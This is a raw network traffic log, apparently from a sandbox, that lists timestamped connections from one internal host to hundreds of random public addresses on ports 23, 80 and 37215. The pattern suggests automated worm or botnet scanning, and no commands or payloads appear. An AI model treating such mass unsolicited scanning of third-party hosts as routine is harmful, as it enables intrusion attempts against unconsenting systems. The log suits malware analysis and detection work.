Jan 5, 2025 14:26:52.629270077 CET	36832	23	192.168.2.13	92.229.23.10
Jan 5, 2025 14:26:52.629271030 CET	47702	23	192.168.2.13	73.90.13.63
Jan 5, 2025 14:26:52.629272938 CET	23	59292	134.131.46.107	192.168.2.13
Jan 5, 2025 14:26:52.629283905 CET	23	48798	137.203.156.97	192.168.2.13
Jan 5, 2025 14:26:52.629283905 CET	50480	23	192.168.2.13	12.74.26.216
Jan 5, 2025 14:26:52.629295111 CET	51950	23	192.168.2.13	106.0.239.219
Jan 5, 2025 14:26:52.629296064 CET	23	39868	57.176.238.223	192.168.2.13
Jan 5, 2025 14:26:52.629301071 CET	35530	23	192.168.2.13	81.141.49.95
Jan 5, 2025 14:26:52.629307985 CET	23	52538	184.207.93.58	192.168.2.13
Jan 5, 2025 14:26:52.629308939 CET	59292	23	192.168.2.13	134.131.46.107
Jan 5, 2025 14:26:52.629317999 CET	23	33200	177.142.33.22	192.168.2.13
Jan 5, 2025 14:26:52.629321098 CET	48798	23	192.168.2.13	137.203.156.97
Jan 5, 2025 14:26:52.629328966 CET	23	57282	72.171.16.106	192.168.2.13
Jan 5, 2025 14:26:52.629339933 CET	23	35468	35.44.156.252	192.168.2.13
Jan 5, 2025 14:26:52.629349947 CET	33200	23	192.168.2.13	177.142.33.22
Jan 5, 2025 14:26:52.629350901 CET	23	38476	185.144.244.25	192.168.2.13
Jan 5, 2025 14:26:52.629352093 CET	39868	23	192.168.2.13	57.176.238.223
Jan 5, 2025 14:26:52.629354000 CET	52538	23	192.168.2.13	184.207.93.58
Jan 5, 2025 14:26:52.629354000 CET	57282	23	192.168.2.13	72.171.16.106
Jan 5, 2025 14:26:52.629363060 CET	23	33182	189.110.96.5	192.168.2.13
Jan 5, 2025 14:26:52.629367113 CET	35468	23	192.168.2.13	35.44.156.252
Jan 5, 2025 14:26:52.629375935 CET	38476	23	192.168.2.13	185.144.244.25
Jan 5, 2025 14:26:52.629389048 CET	33182	23	192.168.2.13	189.110.96.5
Jan 5, 2025 14:26:52.629441023 CET	56958	80	192.168.2.13	206.209.210.27
Jan 5, 2025 14:26:52.629446030 CET	56958	80	192.168.2.13	9.252.184.62
Jan 5, 2025 14:26:52.629448891 CET	56958	80	192.168.2.13	177.79.212.64
Jan 5, 2025 14:26:52.629465103 CET	56958	80	192.168.2.13	103.103.205.218
Jan 5, 2025 14:26:52.629465103 CET	56958	80	192.168.2.13	90.196.33.195
Jan 5, 2025 14:26:52.629471064 CET	56958	80	192.168.2.13	108.230.144.140
Jan 5, 2025 14:26:52.629472017 CET	56958	80	192.168.2.13	8.67.48.53
Jan 5, 2025 14:26:52.629483938 CET	56958	80	192.168.2.13	54.118.30.189
Jan 5, 2025 14:26:52.629489899 CET	56958	80	192.168.2.13	160.98.150.0
Jan 5, 2025 14:26:52.629491091 CET	56958	80	192.168.2.13	107.225.186.247
Jan 5, 2025 14:26:52.629492998 CET	56958	80	192.168.2.13	138.98.97.125
Jan 5, 2025 14:26:52.629503012 CET	56958	80	192.168.2.13	178.0.128.173
Jan 5, 2025 14:26:52.629514933 CET	56958	80	192.168.2.13	43.148.212.187
Jan 5, 2025 14:26:52.629523993 CET	56958	80	192.168.2.13	53.25.177.151
Jan 5, 2025 14:26:52.629524946 CET	56958	80	192.168.2.13	66.226.102.122
Jan 5, 2025 14:26:52.629524946 CET	56958	80	192.168.2.13	88.8.44.4
Jan 5, 2025 14:26:52.629533052 CET	56958	80	192.168.2.13	220.118.231.28
Jan 5, 2025 14:26:52.629558086 CET	56958	80	192.168.2.13	164.177.220.141
Jan 5, 2025 14:26:52.629558086 CET	56958	80	192.168.2.13	152.181.154.28
Jan 5, 2025 14:26:52.629563093 CET	56958	80	192.168.2.13	155.165.92.155
Jan 5, 2025 14:26:52.629565001 CET	56958	80	192.168.2.13	148.200.149.158
Jan 5, 2025 14:26:52.629565954 CET	56958	80	192.168.2.13	62.95.177.49
Jan 5, 2025 14:26:52.629565954 CET	56958	80	192.168.2.13	209.93.217.151
Jan 5, 2025 14:26:52.629584074 CET	56958	80	192.168.2.13	82.40.242.164
Jan 5, 2025 14:26:52.629587889 CET	56958	80	192.168.2.13	39.216.70.153
Jan 5, 2025 14:26:52.629591942 CET	56958	80	192.168.2.13	20.102.178.189
Jan 5, 2025 14:26:52.629602909 CET	56958	80	192.168.2.13	212.62.6.183
Jan 5, 2025 14:26:52.629609108 CET	56958	80	192.168.2.13	62.11.81.170
Jan 5, 2025 14:26:52.629622936 CET	56958	80	192.168.2.13	218.124.179.70
Jan 5, 2025 14:26:52.629622936 CET	56958	80	192.168.2.13	76.74.110.4
Jan 5, 2025 14:26:52.629626036 CET	56958	80	192.168.2.13	102.67.241.10
Jan 5, 2025 14:26:52.629626036 CET	56958	80	192.168.2.13	181.248.233.74
Jan 5, 2025 14:26:52.629626036 CET	56958	80	192.168.2.13	221.124.0.63
Jan 5, 2025 14:26:52.629626036 CET	56958	80	192.168.2.13	147.144.210.208
Jan 5, 2025 14:26:52.629626036 CET	56958	80	192.168.2.13	192.212.37.235
Jan 5, 2025 14:26:52.629650116 CET	56958	80	192.168.2.13	126.161.125.182
Jan 5, 2025 14:26:52.629650116 CET	56958	80	192.168.2.13	160.166.89.197
Jan 5, 2025 14:26:52.629651070 CET	56958	80	192.168.2.13	5.252.86.208
Jan 5, 2025 14:26:52.629652977 CET	56958	80	192.168.2.13	142.39.26.14
Jan 5, 2025 14:26:52.629652977 CET	56958	80	192.168.2.13	222.181.232.15
Jan 5, 2025 14:26:52.629654884 CET	56958	80	192.168.2.13	150.144.163.27
Jan 5, 2025 14:26:52.629667997 CET	56958	80	192.168.2.13	189.175.225.33
Jan 5, 2025 14:26:52.629673958 CET	56958	80	192.168.2.13	81.203.66.26
Jan 5, 2025 14:26:52.629677057 CET	56958	80	192.168.2.13	45.88.5.48
Jan 5, 2025 14:26:52.629679918 CET	56958	80	192.168.2.13	133.22.155.176
Jan 5, 2025 14:26:52.629679918 CET	56958	80	192.168.2.13	65.21.57.55
Jan 5, 2025 14:26:52.629687071 CET	56958	80	192.168.2.13	200.165.251.43
Jan 5, 2025 14:26:52.629698038 CET	56958	80	192.168.2.13	123.40.194.198
Jan 5, 2025 14:26:52.629698038 CET	56958	80	192.168.2.13	100.199.179.56
Jan 5, 2025 14:26:52.629698038 CET	56958	80	192.168.2.13	121.7.96.215
Jan 5, 2025 14:26:52.629699945 CET	56958	80	192.168.2.13	191.239.135.104
Jan 5, 2025 14:26:52.629718065 CET	56958	80	192.168.2.13	207.225.219.94
Jan 5, 2025 14:26:52.629718065 CET	56958	80	192.168.2.13	209.117.29.237
Jan 5, 2025 14:26:52.629719019 CET	56958	80	192.168.2.13	175.214.73.139
Jan 5, 2025 14:26:52.629719019 CET	56958	80	192.168.2.13	149.254.49.179
Jan 5, 2025 14:26:52.629719019 CET	56958	80	192.168.2.13	197.217.232.29
Jan 5, 2025 14:26:52.629730940 CET	56958	80	192.168.2.13	152.38.102.18
Jan 5, 2025 14:26:52.629745960 CET	56958	80	192.168.2.13	25.74.226.190
Jan 5, 2025 14:26:52.629748106 CET	56958	80	192.168.2.13	193.165.136.103
Jan 5, 2025 14:26:52.629750967 CET	56958	80	192.168.2.13	67.99.206.164
Jan 5, 2025 14:26:52.629760981 CET	56958	80	192.168.2.13	2.185.33.249
Jan 5, 2025 14:26:52.629769087 CET	56958	80	192.168.2.13	63.201.122.251
Jan 5, 2025 14:26:52.629776001 CET	56958	80	192.168.2.13	171.3.188.207
Jan 5, 2025 14:26:52.629784107 CET	56958	80	192.168.2.13	142.213.78.70
Jan 5, 2025 14:26:52.629784107 CET	56958	80	192.168.2.13	117.21.244.35
Jan 5, 2025 14:26:52.629800081 CET	56958	80	192.168.2.13	134.195.239.74
Jan 5, 2025 14:26:52.629808903 CET	56958	80	192.168.2.13	50.21.99.241
Jan 5, 2025 14:26:52.629808903 CET	56958	80	192.168.2.13	136.166.74.218
Jan 5, 2025 14:26:52.629826069 CET	56958	80	192.168.2.13	218.44.95.142
Jan 5, 2025 14:26:52.629826069 CET	56958	80	192.168.2.13	47.4.180.228
Jan 5, 2025 14:26:52.629827976 CET	56958	80	192.168.2.13	100.174.126.23
Jan 5, 2025 14:26:52.629839897 CET	56958	80	192.168.2.13	162.136.34.21
Jan 5, 2025 14:26:52.629847050 CET	56958	80	192.168.2.13	54.90.36.20
Jan 5, 2025 14:26:52.629862070 CET	56958	80	192.168.2.13	220.215.34.222
Jan 5, 2025 14:26:52.629863024 CET	56958	80	192.168.2.13	53.198.187.64
Jan 5, 2025 14:26:52.629863024 CET	56958	80	192.168.2.13	34.13.64.110
Jan 5, 2025 14:26:52.629875898 CET	56958	80	192.168.2.13	195.57.168.88
Jan 5, 2025 14:26:52.629878998 CET	56958	80	192.168.2.13	109.99.104.53
Jan 5, 2025 14:26:52.629880905 CET	56958	80	192.168.2.13	107.11.161.12
Jan 5, 2025 14:26:52.629901886 CET	56958	80	192.168.2.13	173.129.238.228
Jan 5, 2025 14:26:52.629901886 CET	56958	80	192.168.2.13	102.39.3.188
Jan 5, 2025 14:26:52.629904985 CET	56958	80	192.168.2.13	78.79.214.64
Jan 5, 2025 14:26:52.629905939 CET	56958	80	192.168.2.13	49.21.194.132
Jan 5, 2025 14:26:52.629913092 CET	56958	80	192.168.2.13	216.242.141.200
Jan 5, 2025 14:26:52.629925013 CET	56958	80	192.168.2.13	17.78.245.97
Jan 5, 2025 14:26:52.629926920 CET	56958	80	192.168.2.13	8.164.60.173
Jan 5, 2025 14:26:52.629933119 CET	56958	80	192.168.2.13	48.170.232.235
Jan 5, 2025 14:26:52.629949093 CET	56958	80	192.168.2.13	50.66.150.204
Jan 5, 2025 14:26:52.629950047 CET	56958	80	192.168.2.13	183.85.84.187
Jan 5, 2025 14:26:52.629947901 CET	56958	80	192.168.2.13	137.109.33.63
Jan 5, 2025 14:26:52.629966021 CET	56958	80	192.168.2.13	69.14.158.132
Jan 5, 2025 14:26:52.629970074 CET	56958	80	192.168.2.13	165.155.255.28
Jan 5, 2025 14:26:52.629992008 CET	56958	80	192.168.2.13	84.230.57.5
Jan 5, 2025 14:26:52.629992008 CET	56958	80	192.168.2.13	37.129.185.177
Jan 5, 2025 14:26:52.629992008 CET	56958	80	192.168.2.13	89.17.94.247
Jan 5, 2025 14:26:52.629992962 CET	56958	80	192.168.2.13	23.72.177.3
Jan 5, 2025 14:26:52.629996061 CET	56958	80	192.168.2.13	157.255.229.244
Jan 5, 2025 14:26:52.629997015 CET	56958	80	192.168.2.13	38.219.184.170
Jan 5, 2025 14:26:52.629998922 CET	56958	80	192.168.2.13	179.180.179.37
Jan 5, 2025 14:26:52.630011082 CET	56958	80	192.168.2.13	37.51.61.245
Jan 5, 2025 14:26:52.630017042 CET	56958	80	192.168.2.13	143.240.159.81
Jan 5, 2025 14:26:52.630021095 CET	56958	80	192.168.2.13	20.49.1.158
Jan 5, 2025 14:26:52.630022049 CET	56958	80	192.168.2.13	40.4.194.95
Jan 5, 2025 14:26:52.630153894 CET	56446	37215	192.168.2.13	41.189.235.97
Jan 5, 2025 14:26:52.630153894 CET	56446	37215	192.168.2.13	197.185.73.161
Jan 5, 2025 14:26:52.630162001 CET	56446	37215	192.168.2.13	156.145.44.182
Jan 5, 2025 14:26:52.630162001 CET	56446	37215	192.168.2.13	156.235.134.113
Jan 5, 2025 14:26:52.630170107 CET	56446	37215	192.168.2.13	156.120.136.23
Jan 5, 2025 14:26:52.630177021 CET	56446	37215	192.168.2.13	156.216.251.34
Jan 5, 2025 14:26:52.630193949 CET	56446	37215	192.168.2.13	197.122.87.8
Jan 5, 2025 14:26:52.630193949 CET	56446	37215	192.168.2.13	156.23.69.229
Jan 5, 2025 14:26:52.630194902 CET	56446	37215	192.168.2.13	41.158.52.137
Jan 5, 2025 14:26:52.630194902 CET	56446	37215	192.168.2.13	156.24.22.55
Jan 5, 2025 14:26:52.630196095 CET	56446	37215	192.168.2.13	197.218.114.9
Jan 5, 2025 14:26:52.630213022 CET	56446	37215	192.168.2.13	156.30.50.234
Jan 5, 2025 14:26:52.630213022 CET	56446	37215	192.168.2.13	156.21.16.88
Jan 5, 2025 14:26:52.630213976 CET	56446	37215	192.168.2.13	156.119.222.27
Jan 5, 2025 14:26:52.630234003 CET	56446	37215	192.168.2.13	41.188.190.114
Jan 5, 2025 14:26:52.630234003 CET	56446	37215	192.168.2.13	197.131.37.151
Jan 5, 2025 14:26:52.630244970 CET	56446	37215	192.168.2.13	156.196.212.123
Jan 5, 2025 14:26:52.630249023 CET	56446	37215	192.168.2.13	197.16.25.216
Jan 5, 2025 14:26:52.630251884 CET	56446	37215	192.168.2.13	156.40.33.159
Jan 5, 2025 14:26:52.630251884 CET	56446	37215	192.168.2.13	156.75.113.40
Jan 5, 2025 14:26:52.630251884 CET	56446	37215	192.168.2.13	41.28.61.28
Jan 5, 2025 14:26:52.630259037 CET	56446	37215	192.168.2.13	197.155.36.5
Jan 5, 2025 14:26:52.630259037 CET	56446	37215	192.168.2.13	41.175.151.216
Jan 5, 2025 14:26:52.630278111 CET	56446	37215	192.168.2.13	197.67.61.122
Jan 5, 2025 14:26:52.630279064 CET	56446	37215	192.168.2.13	156.237.110.233
Jan 5, 2025 14:26:52.630284071 CET	56446	37215	192.168.2.13	156.252.234.63
Jan 5, 2025 14:26:52.630285025 CET	56446	37215	192.168.2.13	41.62.173.56
Jan 5, 2025 14:26:52.630286932 CET	56446	37215	192.168.2.13	41.39.30.12
Jan 5, 2025 14:26:52.630290985 CET	56446	37215	192.168.2.13	41.21.10.15
Jan 5, 2025 14:26:52.630291939 CET	56446	37215	192.168.2.13	156.107.6.17
Jan 5, 2025 14:26:52.630292892 CET	56446	37215	192.168.2.13	197.241.166.255
Jan 5, 2025 14:26:52.630295038 CET	56446	37215	192.168.2.13	156.9.10.55
Jan 5, 2025 14:26:52.630295038 CET	56446	37215	192.168.2.13	156.40.186.147
Jan 5, 2025 14:26:52.630300045 CET	56446	37215	192.168.2.13	41.255.227.6
Jan 5, 2025 14:26:52.630300999 CET	56446	37215	192.168.2.13	41.136.78.92
Jan 5, 2025 14:26:52.630310059 CET	56446	37215	192.168.2.13	156.47.49.72
Jan 5, 2025 14:26:52.630317926 CET	56446	37215	192.168.2.13	197.215.97.3
Jan 5, 2025 14:26:52.630326033 CET	56446	37215	192.168.2.13	197.34.183.183
Jan 5, 2025 14:26:52.630327940 CET	56446	37215	192.168.2.13	156.64.143.67
Jan 5, 2025 14:26:52.630332947 CET	56446	37215	192.168.2.13	41.234.152.219
Jan 5, 2025 14:26:52.630335093 CET	56446	37215	192.168.2.13	156.225.246.57
Jan 5, 2025 14:26:52.630342960 CET	56446	37215	192.168.2.13	197.158.155.173
Jan 5, 2025 14:26:52.630357981 CET	56446	37215	192.168.2.13	41.244.216.11
Jan 5, 2025 14:26:52.630362034 CET	56446	37215	192.168.2.13	197.128.87.133
Jan 5, 2025 14:26:52.630372047 CET	56446	37215	192.168.2.13	41.35.147.149
Jan 5, 2025 14:26:52.630383015 CET	56446	37215	192.168.2.13	156.176.149.75
Jan 5, 2025 14:26:52.630390882 CET	56446	37215	192.168.2.13	41.18.55.0
Jan 5, 2025 14:26:52.630398989 CET	56446	37215	192.168.2.13	197.251.193.48
Jan 5, 2025 14:26:52.630398989 CET	56446	37215	192.168.2.13	41.209.241.24
Jan 5, 2025 14:26:52.630418062 CET	56446	37215	192.168.2.13	197.57.147.99
Jan 5, 2025 14:26:52.630419016 CET	56446	37215	192.168.2.13	156.4.96.42
Jan 5, 2025 14:26:52.630423069 CET	56446	37215	192.168.2.13	156.55.87.234
Jan 5, 2025 14:26:52.630431890 CET	56446	37215	192.168.2.13	156.189.234.45
Jan 5, 2025 14:26:52.630435944 CET	56446	37215	192.168.2.13	41.203.162.118
Jan 5, 2025 14:26:52.630438089 CET	56446	37215	192.168.2.13	41.93.251.208
Jan 5, 2025 14:26:52.630450964 CET	56446	37215	192.168.2.13	41.37.61.149
Jan 5, 2025 14:26:52.630450964 CET	56446	37215	192.168.2.13	156.193.212.236
Jan 5, 2025 14:26:52.630453110 CET	56446	37215	192.168.2.13	41.247.3.8
Jan 5, 2025 14:26:52.630458117 CET	56446	37215	192.168.2.13	156.48.33.27
Jan 5, 2025 14:26:52.630470037 CET	56446	37215	192.168.2.13	41.40.77.52
Jan 5, 2025 14:26:52.630470037 CET	56446	37215	192.168.2.13	156.135.188.32
Jan 5, 2025 14:26:52.630474091 CET	56446	37215	192.168.2.13	41.46.164.149
Jan 5, 2025 14:26:52.630494118 CET	56446	37215	192.168.2.13	41.54.143.180
Jan 5, 2025 14:26:52.630496025 CET	56446	37215	192.168.2.13	41.144.23.75
Jan 5, 2025 14:26:52.630496025 CET	56446	37215	192.168.2.13	156.41.33.215
Jan 5, 2025 14:26:52.630501986 CET	56446	37215	192.168.2.13	41.242.62.11
Jan 5, 2025 14:26:52.630506992 CET	56446	37215	192.168.2.13	41.66.44.142
Jan 5, 2025 14:26:52.630515099 CET	56446	37215	192.168.2.13	41.90.244.69
Jan 5, 2025 14:26:52.630528927 CET	56446	37215	192.168.2.13	197.41.118.63
Jan 5, 2025 14:26:52.630532980 CET	56446	37215	192.168.2.13	156.88.84.70
Jan 5, 2025 14:26:52.630539894 CET	56446	37215	192.168.2.13	197.122.138.50
Jan 5, 2025 14:26:52.630548000 CET	56446	37215	192.168.2.13	41.223.166.210
Jan 5, 2025 14:26:52.630554914 CET	56446	37215	192.168.2.13	197.63.29.244
Jan 5, 2025 14:26:52.630558014 CET	56446	37215	192.168.2.13	41.220.219.155
Jan 5, 2025 14:26:52.630575895 CET	56446	37215	192.168.2.13	197.104.245.15
Jan 5, 2025 14:26:52.630578995 CET	56446	37215	192.168.2.13	156.144.14.20
Jan 5, 2025 14:26:52.630584002 CET	56446	37215	192.168.2.13	156.22.31.95
Jan 5, 2025 14:26:52.630584002 CET	56446	37215	192.168.2.13	41.65.38.188
Jan 5, 2025 14:26:52.630587101 CET	56446	37215	192.168.2.13	41.133.206.221
Jan 5, 2025 14:26:52.630587101 CET	56446	37215	192.168.2.13	197.60.193.81
Jan 5, 2025 14:26:52.630587101 CET	56446	37215	192.168.2.13	156.14.182.106
Jan 5, 2025 14:26:52.630592108 CET	56446	37215	192.168.2.13	41.167.133.172
Jan 5, 2025 14:26:52.630606890 CET	56446	37215	192.168.2.13	41.175.102.142
Jan 5, 2025 14:26:52.630606890 CET	56446	37215	192.168.2.13	197.243.209.242
Jan 5, 2025 14:26:52.630619049 CET	56446	37215	192.168.2.13	156.163.100.120
Jan 5, 2025 14:26:52.630623102 CET	56446	37215	192.168.2.13	156.18.228.176
Jan 5, 2025 14:26:52.630636930 CET	56446	37215	192.168.2.13	156.88.232.128
Jan 5, 2025 14:26:52.630637884 CET	56446	37215	192.168.2.13	41.176.169.199
Jan 5, 2025 14:26:52.630641937 CET	56446	37215	192.168.2.13	156.119.99.183
Jan 5, 2025 14:26:52.630650043 CET	56446	37215	192.168.2.13	156.223.129.247
Jan 5, 2025 14:26:52.630655050 CET	56446	37215	192.168.2.13	197.59.174.87
Jan 5, 2025 14:26:52.630657911 CET	56446	37215	192.168.2.13	156.225.82.136
Jan 5, 2025 14:26:52.630676985 CET	56446	37215	192.168.2.13	156.11.86.84
Jan 5, 2025 14:26:52.630676985 CET	56446	37215	192.168.2.13	197.70.96.12
Jan 5, 2025 14:26:52.630676985 CET	56446	37215	192.168.2.13	197.202.241.42
Jan 5, 2025 14:26:52.630676985 CET	56446	37215	192.168.2.13	41.219.186.211
Jan 5, 2025 14:26:52.630681038 CET	56446	37215	192.168.2.13	156.142.48.117
Jan 5, 2025 14:26:52.630683899 CET	56446	37215	192.168.2.13	41.145.212.44
Jan 5, 2025 14:26:52.630690098 CET	56446	37215	192.168.2.13	156.75.53.49
Jan 5, 2025 14:26:52.630703926 CET	56446	37215	192.168.2.13	41.124.41.160
Jan 5, 2025 14:26:52.630703926 CET	56446	37215	192.168.2.13	41.112.237.242
Jan 5, 2025 14:26:52.630712986 CET	56446	37215	192.168.2.13	156.99.211.255
Jan 5, 2025 14:26:52.630712986 CET	56446	37215	192.168.2.13	197.189.231.238
Jan 5, 2025 14:26:52.630712986 CET	56446	37215	192.168.2.13	41.164.87.29
Jan 5, 2025 14:26:52.630718946 CET	56446	37215	192.168.2.13	41.177.73.30
Jan 5, 2025 14:26:52.630719900 CET	56446	37215	192.168.2.13	156.228.27.240
Jan 5, 2025 14:26:52.630721092 CET	56446	37215	192.168.2.13	197.87.151.54
Jan 5, 2025 14:26:52.630721092 CET	56446	37215	192.168.2.13	197.34.54.2
Jan 5, 2025 14:26:52.630721092 CET	56446	37215	192.168.2.13	156.1.31.11
Jan 5, 2025 14:26:52.630738020 CET	56446	37215	192.168.2.13	156.154.156.37
Jan 5, 2025 14:26:52.630743027 CET	56446	37215	192.168.2.13	197.125.72.35
Jan 5, 2025 14:26:52.630743980 CET	56446	37215	192.168.2.13	156.197.207.11
Jan 5, 2025 14:26:52.630752087 CET	56446	37215	192.168.2.13	41.66.202.129
Jan 5, 2025 14:26:52.630758047 CET	56446	37215	192.168.2.13	41.112.37.62
Jan 5, 2025 14:26:52.630760908 CET	56446	37215	192.168.2.13	156.155.106.79
Jan 5, 2025 14:26:52.630764008 CET	56446	37215	192.168.2.13	156.83.116.103
Jan 5, 2025 14:26:52.630765915 CET	56446	37215	192.168.2.13	156.37.134.89
Jan 5, 2025 14:26:52.630779982 CET	56446	37215	192.168.2.13	41.243.177.172
Jan 5, 2025 14:26:52.630790949 CET	56446	37215	192.168.2.13	156.147.191.34
Jan 5, 2025 14:26:52.630791903 CET	56446	37215	192.168.2.13	197.161.129.112
Jan 5, 2025 14:26:52.630793095 CET	56446	37215	192.168.2.13	197.167.234.21
Jan 5, 2025 14:26:52.630796909 CET	56446	37215	192.168.2.13	156.181.255.89
Jan 5, 2025 14:26:52.630798101 CET	56446	37215	192.168.2.13	41.146.216.24
Jan 5, 2025 14:26:52.630799055 CET	56446	37215	192.168.2.13	41.59.133.106
Jan 5, 2025 14:26:52.630804062 CET	56446	37215	192.168.2.13	197.137.23.197
Jan 5, 2025 14:26:52.630810976 CET	56446	37215	192.168.2.13	41.170.68.217
Jan 5, 2025 14:26:52.630826950 CET	56446	37215	192.168.2.13	197.121.34.25
Jan 5, 2025 14:26:52.630830050 CET	56446	37215	192.168.2.13	156.31.231.134
Jan 5, 2025 14:26:52.630830050 CET	56446	37215	192.168.2.13	156.73.164.197
Jan 5, 2025 14:26:52.630831957 CET	56446	37215	192.168.2.13	41.230.155.111
Jan 5, 2025 14:26:52.630831957 CET	56446	37215	192.168.2.13	197.236.166.154
Jan 5, 2025 14:26:52.630832911 CET	56446	37215	192.168.2.13	197.184.243.27
Jan 5, 2025 14:26:52.630850077 CET	56446	37215	192.168.2.13	41.191.122.113
Jan 5, 2025 14:26:52.630852938 CET	56446	37215	192.168.2.13	197.137.206.132
Jan 5, 2025 14:26:52.630852938 CET	56446	37215	192.168.2.13	41.139.47.85
Jan 5, 2025 14:26:52.630852938 CET	56446	37215	192.168.2.13	156.71.58.148
Jan 5, 2025 14:26:52.630856991 CET	56446	37215	192.168.2.13	156.133.165.25
Jan 5, 2025 14:26:52.630856991 CET	56446	37215	192.168.2.13	156.31.28.57
Jan 5, 2025 14:26:52.630857944 CET	56446	37215	192.168.2.13	41.200.131.21
Jan 5, 2025 14:26:52.630863905 CET	56446	37215	192.168.2.13	197.120.197.234
Jan 5, 2025 14:26:52.630878925 CET	56446	37215	192.168.2.13	41.102.5.52
Jan 5, 2025 14:26:52.630887032 CET	56446	37215	192.168.2.13	156.1.131.71
Jan 5, 2025 14:26:52.630887985 CET	56446	37215	192.168.2.13	156.77.6.126
Jan 5, 2025 14:26:52.630904913 CET	56446	37215	192.168.2.13	156.13.157.211
Jan 5, 2025 14:26:52.630906105 CET	56446	37215	192.168.2.13	197.46.149.142
Jan 5, 2025 14:26:52.630906105 CET	56446	37215	192.168.2.13	156.205.169.16
Jan 5, 2025 14:26:52.630911112 CET	56446	37215	192.168.2.13	197.193.224.200
Jan 5, 2025 14:26:52.630917072 CET	56446	37215	192.168.2.13	156.204.243.241
Jan 5, 2025 14:26:52.630928040 CET	56446	37215	192.168.2.13	41.77.192.125
Jan 5, 2025 14:26:52.630928993 CET	56446	37215	192.168.2.13	156.140.161.86
Jan 5, 2025 14:26:52.630939007 CET	56446	37215	192.168.2.13	197.68.5.246
Jan 5, 2025 14:26:52.630943060 CET	56446	37215	192.168.2.13	41.233.1.65
Jan 5, 2025 14:26:52.630944014 CET	56446	37215	192.168.2.13	41.61.66.30
Jan 5, 2025 14:26:52.630944967 CET	56446	37215	192.168.2.13	197.44.71.102
Jan 5, 2025 14:26:52.630958080 CET	56446	37215	192.168.2.13	156.248.174.143
Jan 5, 2025 14:26:52.630959988 CET	56446	37215	192.168.2.13	156.44.245.237
Jan 5, 2025 14:26:52.630975008 CET	56446	37215	192.168.2.13	197.30.167.12
Jan 5, 2025 14:26:52.630975008 CET	56446	37215	192.168.2.13	41.118.219.116
Jan 5, 2025 14:26:52.630976915 CET	56446	37215	192.168.2.13	197.150.134.118
Jan 5, 2025 14:26:52.630976915 CET	56446	37215	192.168.2.13	197.228.7.70
Jan 5, 2025 14:26:52.630979061 CET	56446	37215	192.168.2.13	41.130.132.237
Jan 5, 2025 14:26:52.630995989 CET	56446	37215	192.168.2.13	156.78.136.142
Jan 5, 2025 14:26:52.630995989 CET	56446	37215	192.168.2.13	156.91.92.14
Jan 5, 2025 14:26:52.630999088 CET	56446	37215	192.168.2.13	156.198.127.172
Jan 5, 2025 14:26:52.631016016 CET	56446	37215	192.168.2.13	156.139.16.130
Jan 5, 2025 14:26:52.631016970 CET	56446	37215	192.168.2.13	41.73.146.237
Jan 5, 2025 14:26:52.631017923 CET	56446	37215	192.168.2.13	156.139.191.164
Jan 5, 2025 14:26:52.631017923 CET	56446	37215	192.168.2.13	41.105.196.219
Jan 5, 2025 14:26:52.631017923 CET	56446	37215	192.168.2.13	197.7.245.132
Jan 5, 2025 14:26:52.631020069 CET	56446	37215	192.168.2.13	156.229.171.95
Jan 5, 2025 14:26:52.631037951 CET	56446	37215	192.168.2.13	156.60.216.55
Jan 5, 2025 14:26:52.631037951 CET	56446	37215	192.168.2.13	41.169.182.102
Jan 5, 2025 14:26:52.631038904 CET	56446	37215	192.168.2.13	197.152.134.88
Jan 5, 2025 14:26:52.631045103 CET	56446	37215	192.168.2.13	41.57.69.41
Jan 5, 2025 14:26:52.631047010 CET	56446	37215	192.168.2.13	197.19.150.51
Jan 5, 2025 14:26:52.631047010 CET	56446	37215	192.168.2.13	197.27.159.28
Jan 5, 2025 14:26:52.631067038 CET	56446	37215	192.168.2.13	41.161.51.177
Jan 5, 2025 14:26:52.631067038 CET	56446	37215	192.168.2.13	156.109.225.66
Jan 5, 2025 14:26:52.631067038 CET	56446	37215	192.168.2.13	197.81.106.157
Jan 5, 2025 14:26:52.631067991 CET	56446	37215	192.168.2.13	41.114.215.244
Jan 5, 2025 14:26:52.631068945 CET	56446	37215	192.168.2.13	156.135.33.27
Jan 5, 2025 14:26:52.631067991 CET	56446	37215	192.168.2.13	156.240.112.251
Jan 5, 2025 14:26:52.631087065 CET	56446	37215	192.168.2.13	156.165.6.127
Jan 5, 2025 14:26:52.631088018 CET	56446	37215	192.168.2.13	156.190.253.81
Jan 5, 2025 14:26:52.631092072 CET	56446	37215	192.168.2.13	156.28.156.134
Jan 5, 2025 14:26:52.631092072 CET	56446	37215	192.168.2.13	197.195.67.195
Jan 5, 2025 14:26:52.631113052 CET	56446	37215	192.168.2.13	156.122.24.162
Jan 5, 2025 14:26:52.631113052 CET	56446	37215	192.168.2.13	156.161.186.186
Jan 5, 2025 14:26:52.631114006 CET	56446	37215	192.168.2.13	156.228.68.148
Jan 5, 2025 14:26:52.631114960 CET	56446	37215	192.168.2.13	41.87.57.111
Jan 5, 2025 14:26:52.631120920 CET	56446	37215	192.168.2.13	156.133.184.80
Jan 5, 2025 14:26:52.631136894 CET	56446	37215	192.168.2.13	156.101.171.79
Jan 5, 2025 14:26:52.631138086 CET	56446	37215	192.168.2.13	41.32.28.245
Jan 5, 2025 14:26:52.631145000 CET	56446	37215	192.168.2.13	41.177.167.219
Jan 5, 2025 14:26:52.631145000 CET	56446	37215	192.168.2.13	156.216.245.208
Jan 5, 2025 14:26:52.631148100 CET	56446	37215	192.168.2.13	41.184.205.22
Jan 5, 2025 14:26:52.631148100 CET	56446	37215	192.168.2.13	197.70.117.96
Jan 5, 2025 14:26:52.631165028 CET	56446	37215	192.168.2.13	197.218.75.180
Jan 5, 2025 14:26:52.631165981 CET	56446	37215	192.168.2.13	156.149.98.119
Jan 5, 2025 14:26:52.631170988 CET	56446	37215	192.168.2.13	197.224.166.212
Jan 5, 2025 14:26:52.631176949 CET	56446	37215	192.168.2.13	156.82.255.77
Jan 5, 2025 14:26:52.631182909 CET	56446	37215	192.168.2.13	41.242.186.38
Jan 5, 2025 14:26:52.631186962 CET	56446	37215	192.168.2.13	197.144.158.184
Jan 5, 2025 14:26:52.631189108 CET	56446	37215	192.168.2.13	156.230.175.1
Jan 5, 2025 14:26:52.631201029 CET	56446	37215	192.168.2.13	41.197.26.241
Jan 5, 2025 14:26:52.631207943 CET	56446	37215	192.168.2.13	197.87.57.131
Jan 5, 2025 14:26:52.631217003 CET	56446	37215	192.168.2.13	156.149.172.212
Jan 5, 2025 14:26:52.631222010 CET	56446	37215	192.168.2.13	41.210.221.122
Jan 5, 2025 14:26:52.631223917 CET	56446	37215	192.168.2.13	156.24.117.82
Jan 5, 2025 14:26:52.631237030 CET	56446	37215	192.168.2.13	41.52.163.145
